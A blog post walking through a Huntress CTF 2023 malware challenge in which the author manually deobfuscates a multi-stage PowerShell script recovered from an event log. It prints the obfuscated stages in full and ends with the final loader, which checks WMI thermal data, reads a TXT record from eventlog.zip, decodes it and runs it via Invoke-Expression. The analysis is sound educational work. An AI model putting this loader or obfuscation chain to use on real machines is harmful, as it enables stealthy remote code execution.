Malware Analysis Challenges from Huntress CTF 2023 — Part 1 — ChainSaw Massacre

Febin
5 min readNov 2, 2023

Huntress CTF is just over, it was a fun ride for 30 days. This blog is a collection of writeups of the Malware Challenges that I solved in Huntress CTF. This is the part 1.

  1. Texas ChainSaw Massacre: Tokyo Drift

Difficulty: Hard

This challenge was fun. The given zip archive contains an EVTX (event log) file. It was intended to use a tool called “ChainSaw” on the evtx file to extract a piece of powershell malware and deobfuscate it. But I did this challenge in my own way, I used “strings” command in linux to extract the powershell malware and reversed it manually.

Tools I used:

  • Strings
  • Text Editor (Sublime)
  • Pwsh (powershell in linux)
  • Python

The zip archive given in the challenge had a file named “Application Logs.evtx”

I extracted the archive and ran strings against the EVTX file.

I extracted the entire obfuscated Powershell Script from the EVTX file. I then tried to run that in powershell inside my linux machine and it threw an error.

Note: It is not a good Idea to directly run malware on your production/regular-use computer. Always use a sandboxed environment. Here I am using my testing Kali VM.

Next step is to deobfuscate the powershell code. Notice the code, it is trying to perform character replace operations on the string that starts from “ ‘. ( ZTGENv:CoMSpEC” and tries to execute that code on the system.

I used the same technique to unravel the code. I copied the string, and did the same character replace operation on it to extract the actual

'. ( ZT6ENv:CoMSpEc[4,24,'+'25]-joinhx6hx6)( a6T ZT6( Set-variaBle hx6OfShx6 hx6hx6)a6T+ ( [StriNg'+'] [rEGeX]::mAtcheS( a6T ))421]RAhC[,hx6fKIhx6eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,hx6kwlhx6EcalPeRC-  )hx6)bhx6+hx60Yb0Yhx6+hx6niOj-]52,hx6+hx642,hx6+'+'hx64[cehx6+hx6phx6+hx6SMoC:Vnhx6+hx6ekwl ( hx6+hx6. fKI ) (DnEOTDAhx6+hx6ehx6+hx6r.)} ) hx6+'+'hx6iicsA:hx6+hx6:]GnidOcNhx6+hx6e.hx6+hx6Thx6+hx6xethx6+hx6.hx6+hx6METsys[hx6+hx6 ,_kwhx6+h'+'x6l (REDhx6+hx6AeRmaertS.o'+'Ihx6+hx6 thx6+hx6Chx6'+'+hx6ejbO-Wh'+'x6+hx6En { HCaERoFhx6+hx6fKI) sSERpM'+'oCehx6+hx'+'6dhx6+hx6::hx6+hx6]'+'edOMhx6+hx6'+'nOisSErPMochx6+hx6.NoISSerhx6+hx6pMOc.oi[, ) b'+'0Yhx6+hx6==wDyD4p+S'+'s/l/hx6+hx6i+5GtatJKyfNjOhx6+'+'hx63hx6+hx63hx6+hx64Vhx6+hx6vj6wRyRXe1xy1pB0hx6+hx6AXVLMgOwYhx6+hx6//hx6+hx6Womhx6+hx6z'+'zUhx6+hx6tBhx6+hx6sx/ie0rVZ7hx6+hx6xcLiowWMGEVjk7JMfxVmuszhx6+hx6OT3XkKu9TvOsrhx6+hx6bbhx6+hx6cbhx6+hx6GyZ6c/gYhx6+hx6Npilhx6+hx6BK7x5hx6+hx6Plchx6+hx68qUyOhBYhx6+hx6VecjNLW42YjM8SwtAhx6+hx6aR8Ihx6+hx6Ohx6+hx6whx6+hx6mhx6+hx66hx6+hx6UwWNmWzCw'+'hx6+hx6VrShx6+hx6r7Ihx6+hx6T2hx6+hx6k6Mj1Muhx6+hx6Khx6+hx6T'+'/oRhx6+hx6O5BKK8R3NhDhx6+hx6om2Ahx6+hx6GYphx6+hx6yahx6+hx6TaNg8DAneNoeSjhx6+h'+'x6ugkTBFTcCPaSH0QjpFywhx6+'+'hx6aQyhx'+'6+hx6HtPUG'+'hx'+'6+hx6DL0BK3hx6+h'+'x6lClrHAvhx6+h'+'x64GOpVKhx6+hx6UNhx6+hx6mGzIDeraEvlpc'+'kC9EGhx6+hx6gIaf96jSmShx6'+'+hx6Mhhx6+hx6hhx6+hx6RfI72hx6+hx6oHzUkDsZoT5hx6+hx6nhx6+hx6c7MD8W31Xq'+'Khx6+hx6d4dbthx6+hx6bth1RdSigEaEhx6+hx6JNERMLUxV'+'hx6+hx6ME4PJtUhx6+hx6tSIJUZfZhx6+hx6EEhx6+hx6Ahx6+hx6JsTdDZNbhx6+hx60Y(gniRTS4hx6+hx66esh'+'x6+hx6aBmoRF::]tRevnOhx6+hx6C[]MAertsYrOmeM.Oi.mETSYs[ (MaErhx6+hx6thx6+hx6sEtALfeD.NOhx6+hx6IsS'+'erPmo'+'c.OI.mehx6+hx6TsYShx6'+'+hx6 hx6+hx6 tCejbO-WEhx6+hx6n ( hx6(((no'+'IsseRpX'+'e-ekovni a6T,hx6.hx6,hx6RightToLEFthx6 ) RYcforEach{ZT6_ })+a6T ZT6( sV hx6oFshx6 hx6 hx6)a6T ) ' -cREpLACE ([cHAr]90+[cHAr]84+[cHAr]54),[cHAr]36 -rEPlAce'a6T',[cHAr]34  -rEPlAce  'RYc',[cHAr]124 -cREpLACE  ([cHAr]104+[cHAr]120+[cHAr]54),[cHAr]39

This gave me the next stage of code.

. ( $ENv:CoMSpEc[4,24,25]-join'')( " $( Set-variaBle 'OfS' '')"+ ( [StriNg] [rEGeX]::mAtcheS( " ))421]RAhC[,'fKI'eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,'kwl'EcalPeRC-  )')b'+'0Yb0Y'+'niOj-]52,'+'42,'+'4[ce'+'p'+'SMoC:Vn'+'ekwl ( '+'. fKI ) (DnEOTDA'+'e'+'r.)} ) '+'iicsA:'+':]GnidOcN'+'e.'+'T'+'xet'+'.'+'METsys['+' ,_kw'+'l (RED'+'AeRmaertS.oI'+' t'+'C'+'ejbO-W'+'En { HCaERoF'+'fKI) sSERpMoCe'+'d'+'::'+']edOM'+'nOisSErPMoc'+'.NoISSer'+'pMOc.oi[, ) b0Y'+'==wDyD4p+Ss/l/'+'i+5GtatJKyfNjO'+'3'+'3'+'4V'+'vj6wRyRXe1xy1pB0'+'AXVLMgOwY'+'//'+'Wom'+'zzU'+'tB'+'sx/ie0rVZ7'+'xcLiowWMGEVjk7JMfxVmusz'+'OT3XkKu9TvOsr'+'bb'+'cb'+'GyZ6c/gY'+'Npil'+'BK7x5'+'Plc'+'8qUyOhBY'+'VecjNLW42YjM8SwtA'+'aR8I'+'O'+'w'+'m'+'6'+'UwWNmWzCw'+'VrS'+'r7I'+'T2'+'k6Mj1Mu'+'K'+'T/oR'+'O5BKK8R3NhD'+'om2A'+'GYp'+'ya'+'TaNg8DAneNoeSj'+'ugkTBFTcCPaSH0QjpFyw'+'aQy'+'HtPUG'+'DL0BK3'+'lClrHAv'+'4GOpVK'+'UN'+'mGzIDeraEvlpckC9EG'+'gIaf96jSmS'+'Mh'+'h'+'RfI72'+'oHzUkDsZoT5'+'n'+'c7MD8W31XqK'+'d4dbt'+'bth1RdSigEaE'+'JNERMLUxV'+'ME4PJtU'+'tSIJUZfZ'+'EE'+'A'+'JsTdDZNb'+'0Y(gniRTS4'+'6es'+'aBmoRF::]tRevnO'+'C[]MAertsYrOmeM.Oi.mETSYs[ (MaEr'+'t'+'sEtALfeD.NO'+'IsSerPmoc.OI.me'+'TsYS'+' '+' tCejbO-WE'+'n ( '(((noIsseRpXe-ekovni ",'.','RightToLEFt' ) |forEach{$_ })+" $( sV 'oFs' ' ')" )

In this stage, it tries to perform RightToLeft operation on the string - “ ))421]RAhC[,’fKI’eCALPeR- 93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC- 63]RAhC[,’kwl’EcalPeRC- )’)b’+’0Yb0Y’+’niOj-]52,’+’42,’+’4[ce’+’p’+’SMoC:Vn’+’ekwl ( ‘+’. fKI ) (DnEOTDA’+’e’+’r.)} ) ‘+’iicsA:’+’:]GnidOcN’+’e.’+’T’+’xet’+’.’+’METsys[‘+’ ,_kw’+’l (RED’+’AeRmaertS.oI’+’ t’+’C’+’ejbO-W’+’En { HCaERoF’+’fKI) sSERpMoCe’+’d’+’::’+’]edOM’+’nOisSErPMoc’+’.NoISSer’+’pMOc.oi[, ) b0Y’+’==wDyD4p+Ss/l/’+’i+5GtatJKyfNjO’+’3'+’3'+’4V’+’vj6wRyRXe1xy1pB0'+’AXVLMgOwY’+’//’+’Wom’+’zzU’+’tB’+’sx/ie0rVZ7'+’xcLiowWMGEVjk7JMfxVmusz’+’OT3XkKu9TvOsr’+’bb’+’cb’+’GyZ6c/gY’+’Npil’+’BK7x5'+’Plc’+’8qUyOhBY’+’VecjNLW42YjM8SwtA’+’aR8I’+’O’+’w’+’m’+’6'+’UwWNmWzCw’+’VrS’+’r7I’+’T2'+’k6Mj1Mu’+’K’+’T/oR’+’O5BKK8R3NhD’+’om2A’+’GYp’+’ya’+’TaNg8DAneNoeSj’+’ugkTBFTcCPaSH0QjpFyw’+’aQy’+’HtPUG’+’DL0BK3'+’lClrHAv’+’4GOpVK’+’UN’+’mGzIDeraEvlpckC9EG’+’gIaf96jSmS’+’Mh’+’h’+’RfI72'+’oHzUkDsZoT5'+’n’+’c7MD8W31XqK’+’d4dbt’+’bth1RdSigEaE’+’JNERMLUxV’+’ME4PJtU’+’tSIJUZfZ’+’EE’+’A’+’JsTdDZNb’+’0Y(gniRTS4'+’6es’+’aBmoRF::]tRevnO’+’C[]MAertsYrOmeM.Oi.mETSYs[ (MaEr’+’t’+’sEtALfeD.NO’+’IsSerPmoc.OI.me’+’TsYS’+’ ‘+’ tCejbO-WE’+’n ( ‘(((noIsseRpXe-ekovni

I used python3 to do the same RightToLeft operation on the string. In python we can flip a string using [::-1], example: “elppa”[::-1] will return “apple”.

After this, I got another piece of code revealed.

" invoke-eXpRessIon(((' ( n'+'EW-ObjeCt '+' '+'SYsT'+'em.IO.comPreSsI'+'ON.DefLAtEs'+'t'+'rEaM( [sYSTEm.iO.MemOrYstreAM][C'+'OnveRt]::FRomBa'+'se6'+'4STRing(Y0'+'bNZDdTsJ'+'A'+'EE'+'ZfZUJISt'+'UtJP4EM'+'VxULMRENJ'+'EaEgiSdR1htb'+'tbd4d'+'KqX13W8DM7c'+'n'+'5ToZsDkUzHo'+'27IfR'+'h'+'hM'+'SmSj69faIg'+'GE9CkcplvEareDIzGm'+'NU'+'KVpOG4'+'vAHrlCl'+'3KB0LD'+'GUPtH'+'yQa'+'wyFpjQ0HSaPCcTFBTkgu'+'jSeoNenAD8gNaT'+'ay'+'pYG'+'A2mo'+'DhN3R8KKB5O'+'Ro/T'+'K'+'uM1jM6k'+'2T'+'I7r'+'SrV'+'wCzWmNWwU'+'6'+'m'+'w'+'O'+'I8Ra'+'AtwS8MjY24WLNjceV'+'YBhOyUq8'+'clP'+'5x7KB'+'lipN'+'Yg/c6ZyG'+'bc'+'bb'+'rsOvT9uKkX3TO'+'zsumVxfMJ7kjVEGMWwoiLcx'+'7ZVr0ei/xs'+'Bt'+'Uzz'+'moW'+'//'+'YwOgMLVXA'+'0Bp1yx1eXRyRw6jv'+'V4'+'3'+'3'+'OjNfyKJtatG5+i'+'/l/sS+p4DyDw=='+'Y0b ) ,[io.cOMp'+'reSSIoN.'+'coMPrESsiOn'+'MOde]'+'::'+'d'+'eCoMpRESs )IKf'+'FoREaCH { nE'+'W-Obje'+'C'+'t '+'Io.StreamReA'+'DER( l'+'wk_, '+'[sysTEM'+'.'+'tex'+'T'+'.e'+'NcOdinG]:'+':Ascii'+' ) }).r'+'e'+'ADTOEnD( ) IKf .'+' ( lwke'+'nV:CoMS'+'p'+'ec[4'+',24'+',25]-jOin'+'Y0bY0'+'b)')  -CRePlacE'lwk',[ChAR]36  -CRePlacE ([ChAR]89+[ChAR]48+[ChAR]98),[ChAR]39  -RePLACe'IKf',[ChAR]124)) "

Seems like the code is trying to decode something from base64 encoding and execute it via invoke-explression. There are some character replace operations as well.

I ran the entire oneliner, but it gave me an error.

So, I decided to deobfuscate it manually like I did it in previous stage.

I copied the string inside the invoke-expression function and did the character replace operation from that powershell code.

' ( n'+'EW-ObjeCt '+' '+'SYsT'+'em.IO.comPreSsI'+'ON.DefLAtEs'+'t'+'rEaM( [sYSTEm.iO.MemOrYstreAM][C'+'OnveRt]::FRomBa'+'se6'+'4STRing(Y0'+'bNZDdTsJ'+'A'+'EE'+'ZfZUJISt'+'UtJP4EM'+'VxULMRENJ'+'EaEgiSdR1htb'+'tbd4d'+'KqX13W8DM7c'+'n'+'5ToZsDkUzHo'+'27IfR'+'h'+'hM'+'SmSj69faIg'+'GE9CkcplvEareDIzGm'+'NU'+'KVpOG4'+'vAHrlCl'+'3KB0LD'+'GUPtH'+'yQa'+'wyFpjQ0HSaPCcTFBTkgu'+'jSeoNenAD8gNaT'+'ay'+'pYG'+'A2mo'+'DhN3R8KKB5O'+'Ro/T'+'K'+'uM1jM6k'+'2T'+'I7r'+'SrV'+'wCzWmNWwU'+'6'+'m'+'w'+'O'+'I8Ra'+'AtwS8MjY24WLNjceV'+'YBhOyUq8'+'clP'+'5x7KB'+'lipN'+'Yg/c6ZyG'+'bc'+'bb'+'rsOvT9uKkX3TO'+'zsumVxfMJ7kjVEGMWwoiLcx'+'7ZVr0ei/xs'+'Bt'+'Uzz'+'moW'+'//'+'YwOgMLVXA'+'0Bp1yx1eXRyRw6jv'+'V4'+'3'+'3'+'OjNfyKJtatG5+i'+'/l/sS+p4DyDw=='+'Y0b ) ,[io.cOMp'+'reSSIoN.'+'coMPrESsiOn'+'MOde]'+'::'+'d'+'eCoMpRESs )IKf'+'FoREaCH { nE'+'W-Obje'+'C'+'t '+'Io.StreamReA'+'DER( l'+'wk_, '+'[sysTEM'+'.'+'tex'+'T'+'.e'+'NcOdinG]:'+':Ascii'+' ) }).r'+'e'+'ADTOEnD( ) IKf .'+' ( lwke'+'nV:CoMS'+'p'+'ec[4'+',24'+',25]-jOin'+'Y0bY0'+'b)' -CRePlacE'lwk',[ChAR]36  -CRePlacE ([ChAR]89+[ChAR]48+[ChAR]98),[ChAR]39  -RePLACe'IKf',[ChAR]124

This revealed the code clearly. We’re almost there. Now, we need to know what’s the base64 encoded data, that might be the last stage of the malware.

To reveal that, I ran it on my powershell.

I got the last stage of the powershell malware and now it became more clear.

try {$TGM8A = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace “root/wmi” -ErrorAction ‘silentlycontinue’ ; if ($error.Count -eq 0) { $5GMLW = (Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings }); if ($5GMLW -match ‘^[-A-Za-z0–9+/]*={0,3}$’) { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($5GMLW)) | Invoke-Expression } } } catch { }

It mainly performs a Resolve-DnsName on a domain named “eventlog.zip”, grabs it’s TXT record, decodes the TXT record’s data and executes it as powershell on the target machine.

Note: Resolve-DnsName in windows powershell is used to resolve dns info, similar to Dig in linux.

Another thing to notice is that, here it resolves “eventlog.zip”. It is actually a domain name, not a zip archive. The .zip is now a TLD.

Now, we need to grab the TXT record of the domain eventlog.zip. But Resolve-DnsName command won’t work in linux, we can use Dig command instead.

Cool! The TXT record of that domain contained a base64 encoded data, decoding it revealed the flag.

Will publish part 2 soon.

Thanks!

--

--

Febin

CEH | CEH(Master) | eJPT | OSCP | CRTP |CyberSecurity Enthusiast | Security Researcher | Bug Hunter | Always seeks for knowledge